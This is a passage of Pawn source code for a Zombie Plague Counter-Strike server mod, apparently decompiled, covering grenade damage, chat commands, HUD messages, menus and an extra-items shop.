                g_bFrozen[i] = false;
                set_frozen(i, false);
                ExecuteHamB(Ham_Item_PreFrame, i);
                send_screen_fade(i, 0, 50, 200, 160);
                sound(i, 4, "zombie_plague/grenade_frost_break.wav");
                send_break_glass(i);
                remove_glow(i);
        }
        return 0;
}

Explosion_Explode(iEntity)
{
        send_explosion(iEntity);
        static iDamage;
        static iDistance;
        static i;
        static iOwner;
        iOwner = pev(iEntity, pev_owner);
        if (0 < iOwner < g_iMaxClients + 1 && g_bConnected[iOwner])
        {
                i = 1;
                while (g_iMaxClients + 1 > i)
                {
                        if (!g_bAlive[i] || !g_bZombie[i])
                        {
                        }
                        else
                        {
                                iDistance = range(i, iEntity);
                                if (iDistance < 260)
                                {
                                        iDamage = 650 - iDistance * 2;
                                        send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);                                       
                                        send_screen_shake(i, 150000 , 25000, 135000);
                                        client_cmd(i, "spk fvox/flatline");
                                        if (0 < get_health(i) - iDamage)
                                        {
                                                ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, float(iDamage), DMG_BLAST);
                                        }
                                        else
                                        {
                                                ExecuteHamB(Ham_Killed, i, iOwner, 2);
                                        }
                                        PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %d^x01 damage", g_cName[i], iDamage);
                                }
                        }
                        i += 1;
                }
        }
        remove_entity(iEntity);
        return 0;
}

public Command_Drop(iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
                {
                        user_drop_jetpack(iPlayer, 0);
                        return 1;
                }
                if (g_iPlayerType[iPlayer])
                {
                        return 1;
                }
        }
        return 0;
}

public Command_JoinTeam(iPlayer)
{
        if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_user_team(iPlayer) < 3 && !g_bFake[iPlayer])
        {
                menu_display(iPlayer, g_iGameMenu);
                return 1;
        }
        return 0;
}

public EventStatusValue(iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                static cHealth[15];
                static iVictim;
                static Red, Blue;
                iVictim = read_data(2);
                if (g_bZombie[iVictim] == g_bZombie[iPlayer])
                {
                        AddCommas(get_health(iVictim), cHealth, 14);
                        if (g_bZombie[iPlayer])
                        {
                                Blue = 0;
                        }
                        else
                        {
                                Blue = 255;
                        }
                        if (g_bZombie[iPlayer])
                        {
                                Red = 255;
                        }
                        else
                        {
                                Red = 0;
                        }
                        set_hudmessage(Red, 50, Blue, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
                        ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ %s | Health: %s | Armor: %d | Ammo: %d ]", g_cName[iVictim], g_cClass[iVictim], cHealth, get_armor(iVictim), g_iPacks[iVictim]);
                }
                if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
                {
                        AddCommas(get_health(iVictim), cHealth, 14);
                        set_hudmessage(255, 50, 0, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
                        ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
                }
        }
        return 0;
}

public Commmand_PrivateSay(iPlayer, iLevel, iCid)
{
        if (!GetAccess(iPlayer, 8, 3))
        {
                return 1;
        }
        static cTarget[32];
        read_argv(1, cTarget, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cTarget, 0);
        static iLength;
        iLength = strlen(cTarget) + 1;
        if (!iTarget)
        {
                return 1;
        }
        static cMessage[192];
        read_args(cMessage, 191);
        if (iPlayer && iTarget != iPlayer)
        {
                PrintToChat(iPlayer, "^x01[*^x04 %s^x01 *]^x04 To ^x01[*^x03 %s^x01 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
        }
        else
        {
                PrintToChat(iTarget, "^x01[*^x04 %s^x01 *]^x03 To ^x01[*^x03 %s^x01 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
                console_print(iPlayer, "[* %s *] To [* %s *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
        }
        return 1;
}

public Client_SayTeam(id)
{
        new said[2]
        read_argv(1, said, 1)
        if (said[0] != '@')
        {
                return 0;
        }
        new message[192], authid[32]
        new players[32], inum
        read_args(message, 191)
        remove_quotes(message)
        get_user_authid(id, authid, 31)
        if (!message[0] || strlen(message) > 119 || containi(message, "#") != -1 || containi(message, "%") != -1 || is_advertisement(id, message))
        {
                return 1;
        }
        if (message[0] == 64)
        {       
            if (g_bAdmin[id] && get_user_flags(id) & 256)       
            {
                        format(message, 191, "^x01[*^x04 ADMINS^x01 *]^x03 %s^x01 :  %s",  g_cName[id], message[1])
            }
            else
            {
                        format(message, 191, "^x01[*^x03 PLAYER^x01 *]^x03 %s^x01 :  %s",  g_cName[id], message[1])
            }
            get_players(players, inum)
            for (new i = 0; i < inum; ++i)
            {
                        if (players[i] != id && get_user_flags(players[i]) & 256)
                        {
                            PrintToChat(players[i], "%s", message)
                        }
            }
            PrintToChat(id, "%s", message)       
        }
        return 1;
}

public Client_Say(iPlayer)
{
        if (!g_bConnected[iPlayer])
        {
                return 1;
        }
        static Float:fGameTime;
        fGameTime = get_gametime();
        if (g_fGagTime[iPlayer] > fGameTime)
        {
                return 1;
        }
        static cMessage[150];
        static cPlayer[3];
        num_to_str(iPlayer, cPlayer, 2);
        read_args(cMessage, 149);
        remove_quotes(cMessage);
        if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
        {
                return 1;
        }
        if (cMessage[0] == '@' && get_user_flags(iPlayer) & 256)
        {
                static Float:fVertical;
                static i;
                g_iMessagePosition += 1;
                if (g_iMessagePosition > 3)
                {
                        g_iMessagePosition = 0;
                }
                switch (g_iMessagePosition)
                {
                        case 0:
                        {
                                fVertical = 0.45;
                        }
                        case 1:
                        {
                                fVertical = 0.5;
                        }
                        case 2:
                        {
                                fVertical = 0.55;
                        }
                        case 3:
                        {
                                fVertical = 0.6;
                        }               
                }
                set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
                i = 1;
                while (g_iMaxClients + 1 > i)
                {
                        if (g_bConnected[i])
                        {
                                show_hudmessage(i, "%s :  %s", g_cName[iPlayer], cMessage[1]);
                        }
                        i += 1;
                }
                return 1;
        }
        if (equali(cMessage, "/nextmap") || equali(cMessage, "nextmap"))
        {
                static cMap[32];
                get_cvar_string("nextmap", cMap, 32);
                if (cMap[0])
                {
                        PrintToChat(iPlayer, "^x01Next map:^x04 %s", cMap);
                }
                else
                {
                        PrintToChat(iPlayer, "^x01Next map:^x04 [not yet voted on]");
                }
        }
        else
        {
                if (equali(cMessage, "/timeleft") || equali(cMessage, "timeleft"))
                {
                        static iTimeleft;
                        iTimeleft = get_timeleft();
                        PrintToChat(0, "^x01Time Remaining:^x04 %d:%02d", iTimeleft / 60, iTimeleft % 60);
                }
                if (equali(cMessage, "/currentmap") || equali(cMessage, "currentmap"))
                {
                        static cMap[32];
                        get_mapname(cMap, 32);
                        PrintToChat(0, "Current map:^x04 %s", cMap);
                }
                if (equali(cMessage, "/thetime") || equali(cMessage, "thetime"))
                {
                        static cTime[64];
                        get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
                        PrintToChat(0, "^x01The Time:^x01  %s", cTime);
                }
                if (equali(cMessage, "/lm") || equali(cMessage, "lm"))
                {
                        if (!g_bAlive[iPlayer])
                        {
                                PrintToChat(iPlayer, "^x04[ZP]^x01 You should be alive");
                                return 0;
                        }
                        if (g_bZombie[iPlayer])
                        {
                                PrintToChat(iPlayer, "^x04[ZP]^x01 You should be human");
                                return 0;
                        }
                        if (6 > g_iPacks[iPlayer])
                        {
                                PrintToChat(iPlayer, "^x04[ZP]^x01 You need^x04 6 ammo packs");
                                return 0;
                        }
                        if (g_iRoundType & 128 || g_bRoundEnd || g_iRoundType & 256 || g_iRoundType & 512)
                        {
                                PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy a trip mine right now...");
                                return 0;
                        }
                        g_iPacks[iPlayer] -= 6;
                        g_iTripMines[iPlayer]++;
                        client_cmd(iPlayer, "bind p CreateLaser; bind v TakeLaser");
                        PrintToChat(iPlayer, "^x04[ZP]^x01 You bought a trip mine. Press^x03 P^x01 to plant it or^x03 V^x01 to take it");
                }
                if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
                {
                        static iAmmo;
                        static iTarget;
                        static cAmmo[5];
                        static cTarget[32];
                        static cDummy[15];
                        parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
                        iTarget = GetTarget(iPlayer, cTarget, 0);
                        iAmmo = str_to_num(cAmmo);
                        if (!iTarget)
                        {
                                send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 Invalid player or matching multiple targets!");
                                return 0;
                        }
                        if (0 >= iAmmo)
                        {
                                send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 Invalid value of packs to send!");
                                return 0;
                        }
                        if (g_iPacks[iPlayer] < iAmmo)
                        {
                                send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You are trying to send too many packs!");
                                return 0;
                        }
                        if (iTarget == iPlayer)
                        {
                                send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You are trying to send packs to you!");
                                return 0;
                        }
                        AddCommas(iAmmo, cDummy, 14);
                        g_iPacks[iTarget] += iAmmo;
                        g_iPacks[iPlayer] -= iAmmo;
                        PrintToChat(0, "^x04[ZP]^x03 %s^x01 gave^x04 %s packs^x01 to^x03 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
                }
        }
        if (g_bAlive[iPlayer])
        {
                if (!g_cTag[iPlayer][0])
                {
                        PrintToChatEx(false, iPlayer, "^x01*ALIVE*^x03 %s^x01 :  %s", g_cName[iPlayer], cMessage);
                }
                else
                {
                        PrintToChatEx(false, iPlayer, "^x01*ALIVE*^x04 %s^x03 %s^x01 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
                }
        }
        else
        {
                if (get_user_team(iPlayer) == 3)
                {
                        if (!g_cTag[iPlayer][0])
                        {
                                PrintToChatEx(true, g_iMaxClients + 1, "^x01*SPEC*^x03 %s^x01 :  %s", g_cName[iPlayer], cMessage);
                        }
                        else
                        {
                                PrintToChatEx(true, g_iMaxClients + 1, "^x01*SPEC*^x04 %s^x03 %s^x01 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
                        }
                }
                else
                {
                        if (!g_cTag[iPlayer][0])
                        {
                                PrintToChatEx(true, iPlayer, "^x01*DEAD*^x03 %s^x01 :  %s", g_cName[iPlayer], cMessage);
                        }
                        else
                        {
                                PrintToChatEx(true, iPlayer, "^x01*DEAD*^x04 %s^x03 %s^x01 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
                        }
                }
        }
        return 0;
}

PrintToChatEx(bool:bAlive, iPlayer, cMessage[], any:...)
{
        static i;
        static cBuffer[192];
        vformat(cBuffer, 191, cMessage, 4);
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i) && g_bAlive[i] == bAlive)
                {
                        send_say_text(i, iPlayer, cBuffer);
                }
                i += 1;
        }
        return 0;
}

public MessageHealth(iMessage, iDestination, iEntity)
{
        static iHealth;
        iHealth = get_msg_arg_int(1);
        if (iHealth > 255)
        {
                if (!(iHealth % 256))
                {
                        set_health(iEntity, get_health(iEntity) + 1);
                }
                set_msg_arg_int(1, get_msg_argtype(1), 255);
        }
        return 0;
}

public TaskReminder()
{
        static cHealth[15];
        static iHealth;
        static i;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bAlive[i] && g_iPlayerType[i])
                {
                        iHealth = get_health(i);
                        AddCommas(iHealth, cHealth, 14);
                        PrintToChat(0, "^x04[ZP]^x01 A ^x03Rapture^x01 Reminder ^x03@ ^x04%s^x01 still has %s ^x04health points!", g_cClass[i], cHealth);
                }
                i += 1;
        }
        return 0;
}

public TaskRemoveMadness(iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                g_bNoDamage[iPlayer] = false;
                remove_glow(iPlayer);
                set_take_damage(iPlayer, 2);
        }
        return 0;
}

public Task_EnableFlash(iPlayer)
{
        g_bFlashEnabled[iPlayer] = true;
        g_bFlash[iPlayer] = true;
        remove_task(iPlayer + 350);
        set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
        return 0;
}

public _GameMenu(iPlayer, iMenu, iItem)
{
        if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
        {
                static iChoice;
                static iDummy;
                static cBuffer[3];
                menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
                iChoice = str_to_num(cBuffer);
                switch (iChoice)
                {
                        case 0:
                        {
                                if (g_bAlive[iPlayer] && g_bCanBuy[iPlayer])
                                {
                                        set_task(0.1, "TaskShowMenu", iPlayer, "", 0, "", 0);
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 Your buy menu has been enabled.");
                                }
                        }
                        case 1:
                        {
                                if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
                                {
                                        static cNumber[3];
                                        static cLine[128];
                                        static i;
                                        g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems");
                                        i = 0;
                                        while (i < 22)
                                        {
                                                if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
                                                {
                                                }
                                                else
                                                {
                                                        if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
                                                        {
                                                                formatex(cLine, 128, "%s \y%d ammo packs", g_cExtraItems[i], g_iExtraItemsPrices[i]);
                                                                num_to_str(i, cNumber, 3);
                                                                menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
                                                        }
                                                }
                                                i += 1;
                                        }
                                        menu_display(iPlayer, g_iMenuExtraItems);
                                }
                                else
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 Extra items are unavailable right now...");
                                }
                        }
                        case 2:
                        {
                                menu_display(iPlayer, g_iMenuZombieClasses);
                        }
                        case 3:
                        {
                                if (g_bAlive[iPlayer] && !is_hull_vacant(iPlayer))
                                {
                                        static i;
                                        static Float:fOrigin[3];
                                        static Float:fVector[3];
                                        static Float:fMins[3];
                                        get_mins(iPlayer, fMins);
                                        get_origin(iPlayer, fOrigin);
                                        i = 0;
                                        while (i < 70)
                                        {
                                                fVector[0] = floatsub(fOrigin[0], floatmul(fMins[0], g_fSizes[i][0]));
                                                fVector[1] = floatsub(fOrigin[1], floatmul(fMins[1], g_fSizes[i][1]));
                                                fVector[2] = floatsub(fOrigin[2], floatmul(fMins[2], g_fSizes[i][2]));
                                                if (is_origin_vacant(fVector, iPlayer))
                                                {
                                                        set_origin(iPlayer, fVector);
                                                        set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
                                                        i = 70;
                                                        client_cmd(iPlayer, "spk fvox/blip.wav");
                                                        send_screen_fade(iPlayer, 200, 200, 0, random_num(100, 220));

                                                }
                                                i += 1;
                                        }
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You have been unstucked!");
                                }
                                else
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You are not stuck...");
                                }
                        }
                        case 4:
                        {
                                if (get_team(iPlayer) != 3)
                                {
                                        if (g_bAlive[iPlayer])
                                        {
                                                CheckLastPlayer(iPlayer);
                                                kill(iPlayer);
                                        }
                                        remove_task(iPlayer + 250);
                                        remove_task(iPlayer + 200);
                                        client_cmd(iPlayer, "chooseteam");
                                        engclient_cmd(iPlayer, "jointeam", "6");
                                        log_amx("^"%s^" joined spectators!", g_cName[iPlayer]);
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You are now spectator!");
                                }
                        }               
                }
        }
        return 0;
}

public _ZombieClasses(iPlayer, iMenu, iItem)
{
        if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
        {
                static iChoice;
                static iDummy;
                static cBuffer[15];
                menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
                iChoice = str_to_num(cBuffer);
                g_iZombieNextClass[iPlayer] = iChoice;
                AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
                PrintToChat(iPlayer, "^x04[ZP]^x01 Your zombie class after the next infection will be:^x04 %s", g_cZombieClasses[iChoice]);
                PrintToChat(iPlayer, "^x04[ZP]^x01 Health:^x04 %s^x01 | Speed:^x04 %0.0f^x01 | Gravity:^x04 %0.0f^x01 | Knockback:^x04 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice] * 100.0, g_fZombieKnockbacks[iChoice] * 100.0, "%");
        }
        return 0;
}

public _ExtraItems(iPlayer, iMenu, iItem)
{
        if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
        {
                static bAlreadyBought[33];
                static iSurvivors;
                static iSnipers;
                static iChoice;
                static iDummy;
                static cBuffer[3];
                menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
                iChoice = str_to_num(cBuffer);
                switch (iChoice)
                {
                        case 0:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (g_bFlash[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                    set_task(0.1, "Task_EnableFlash", iPlayer, "", 0, "", 0);
                    g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                    set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                    ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
                                }
                        }
                        case 1:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy this item right now!");
                                        return 0;
                                }
                                MakeHuman(iPlayer, false, false);
                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                        }
                        case 2:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (g_bNoDamage[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        g_bNoDamage[iPlayer] = true;
                                        set_take_damage(iPlayer, 0);
                                        sound(iPlayer, 2, "zombie_plague/zombie_madness.wav");
                                        set_glow(iPlayer, 19, 150, 255, 0, 0);
                                        set_task(5.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
                                        PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Zombie Madness", g_cName[iPlayer]);
                                }
                        }
                        case 3:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy this item right now!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 4, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        give_weapon(iPlayer, "weapon_hegrenade");
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
                                }
                        }
                        case 4:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 4, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        give_weapon(iPlayer, "weapon_hegrenade");
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Nade!");
                                }
                        }
                        case 5:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 25, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        give_weapon(iPlayer, "weapon_flashbang");
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Napalm Nade!");
                                }
                        }
                        case 6:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 9, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        give_weapon(iPlayer, "weapon_smokegrenade");
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Frost Nade!");
                                }
                        }
                        case 7:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 18, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                }
                                else
                                {
                                        DropWeapons(iPlayer, 1509749160);
                                        give_weapon(iPlayer, "weapon_awp");
                                        give_ammo(iPlayer, 18, 9999);
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
                                }
                        }
                        case 8:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 20, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        DropWeapons(iPlayer, 1509749160);
                                        give_weapon(iPlayer, "weapon_m249");
                                        give_ammo(iPlayer, 20, 9999);
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
                                }
                        }
                        case 9:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 13, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                }
                                else
                                {
                                        DropWeapons(iPlayer, 1509749160);
                                        give_weapon(iPlayer, "weapon_sg550");
                                        give_ammo(iPlayer, 13, 9999);
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
                                }
                        }
                        case 10:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (user_has_weapon(iPlayer, 24, -1))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        DropWeapons(iPlayer, 1509749160);
                                        give_weapon(iPlayer, "weapon_g3sg1");
                                        give_ammo(iPlayer, 24, 9999);
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
                                }
                        }
                        case 11:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
